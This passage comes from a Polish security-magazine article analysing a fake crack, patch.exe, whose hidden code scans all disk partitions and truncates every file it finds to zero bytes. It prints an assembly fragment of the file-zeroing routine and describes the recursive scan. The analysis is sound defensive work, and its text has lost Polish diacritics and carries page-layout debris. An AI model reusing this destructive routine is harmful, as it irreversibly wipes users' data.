call [ebx+interfejs.CreateFileA]
inc eax ; czy otwarcie pliku si powido?
jz short pomin_plik ; jeli nie, nie zeruj pliku
dec eax
xchg eax, esi ; uchwyt pliku wgraj do rejestru esi
push 0 ; ustaw wskanik pliku od jego pocztku (FILE_BEGIN)
push 0
push 0 ; adres na jaki ustawi wskanik pliku
push esi ; uchwyt pliku
call [ebx+interfejs.SetFilePointer]
push esi ; ustaw koniec pliku na biecy wskanik (pocztek pliku),
; co sprawi, e plik zostanie skrcony do 0 bajtw
call [ebx+interfejs.SetEndOfFile]
push esi ; zamknij plik
call [ebx+interfejs.CloseHandle]
pomin_plik: ; CODE XREF: zeruj_rozmiar_pliku+6j
; zeruj_rozmiar_pliku+2Aj
popa
retn
zeruj_rozmiar_pliku endp
W Sieci
http://www.datarescue.com deasembler IDA Demo for PE, http://webhost.kemtel.ru/~sen/ edytor szesnastkowy Hiew, http://peid.has.it/ identyfikator plikw PEiD, http://lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM identyfikator FileInfo, http://tinyurl.com/44ej3 edytor zasobw eXeScope, http://home.t-online.de/home/Ollydbg darmowy debugger dla Windows
OllyDbg, http://protools.cjb.net zbir narzdzi przydatnych do analizy plikw binarnych.
11
Analiza podejrzanego programu
tery partycji zwraca jej typ. Kod pro-cedury znajduje si na Listingu 12. Warto zwrci uwag, e procedu-ra poszukuje jedynie standardowych partycji dyskw twardych i pomija stacje CD-ROM czy dyski sieciowe.
Gdy wykryta zostanie popraw-na partycja, zostaje uruchomiony re-kursywny skaner wszystkich jej ka-talogw (procedura wymaz _ pliki patrz Listing 13). Oto kolejny po-wd do uzasadnionych podejrze o niszczycielsk dziaalno ukryte-go kodu: skaner, wykorzystujc funk-cje FindFirtsFile(), FindNextFile() i SetCurrentDirectory(), skanuje ca- zawarto partycji w poszukiwa-niu wszystkich rodzajw plikw. M-wi nam o tym zastosowana dla pro-cedury FindFirstFile() maska *.
Dowd: zerowanie plikwDotychczas moglimy mie jedynie mniej lub bardziej uzasadnione po- Rysunek 5. Schemat procedury skanowania dyskw
R E K L A M A
www.hakin9.org12 Hakin9 Nr 6/2004
Obr
ona
dejrzenia co do niszczycielskiej si-y ukrytego w bitmapie kodu. Na Li-stingu 14 natomiast znajduje si dowd na zoliwe zamiary twrcy programu patch.exe. To procedu-ra zeruj _ rozmiar _ pliku jest ona wywoywana zawsze, gdy procedura wymaz _ pliki odnajdzie jakikolwiek plik (o dowolnej nazwie i dowolnym rozszerzeniu).
Procedura ta dziaa bardzo pro-sto. Kademu kolejnemu znalezio-nemu plikowi zostaje za pomoc funkcji SetFileAttributesA() usta-wiony atrybut archiwalny. Przez to zostaj usunite inne atrybuty, w tym tylko do odczytu (jeli takie by-y ustawione), chronice plik przed zapisem. Nastpnie plik jest otwie-rany funkcj CreateFileA() i, jeli
otwarcie pliku si powiodo, wska-nik pliku zostaje ustawiony na jego pocztek.
Do tego celu procedura uywa funkcji SetFilePointer(), ktrej para-metr FILE_BEGIN okrela sposb ustawienia wskanika (w naszym przypadku na pocztek pliku). Po ustawieniu wskanika wywoy-wana jest funkcja SetEndOfFile(), ktrej zadaniem jest ustalenie no-wego rozmiaru pliku przy wykorzy-staniu biecej pozycji wskanika w pliku. Jak wida, wskanik pliku ustawiony zosta wczeniej na sam jego pocztek plik po tej opera-cji ma wic zero bajtw. Po wyzero-waniu pliku kod wraca do rekursyw-nego skanowania kolejnych katalo-gw w poszukiwaniu innych plikw,
za naiwny uytkownik, ktry uru-chomi plik patch.exe, traci kolejne dane z dysku.
Analiza rzekomego cracka po-zwolia nam, na szczcie bez uru-chamiania pliku wykonywalnego, zrozumie zasad jego dziaania, wyszuka ukryty kod i okreli je-go zachowanie. Uzyskane wyniki s jednoznaczne i przeraajce efek-ty dziaania malutkiego programi-ku patch.exe nie nale do przy-jemnych. W efekcie dziaania zo-liwego kodu znalezione na wszyst-kich partycjach wszystkich dyskw pliki zmieniaj rozmiar na zero baj-tw i praktycznie przestaj istnie. W przypadku posiadania cennych danych strata moe by nieodwra-calna. n
Rysunek 6. Schemat dziaania podejrzanego programu
WinMain()
DialogBoxParamA()
WaitForSingleObject()
GetProcAddress()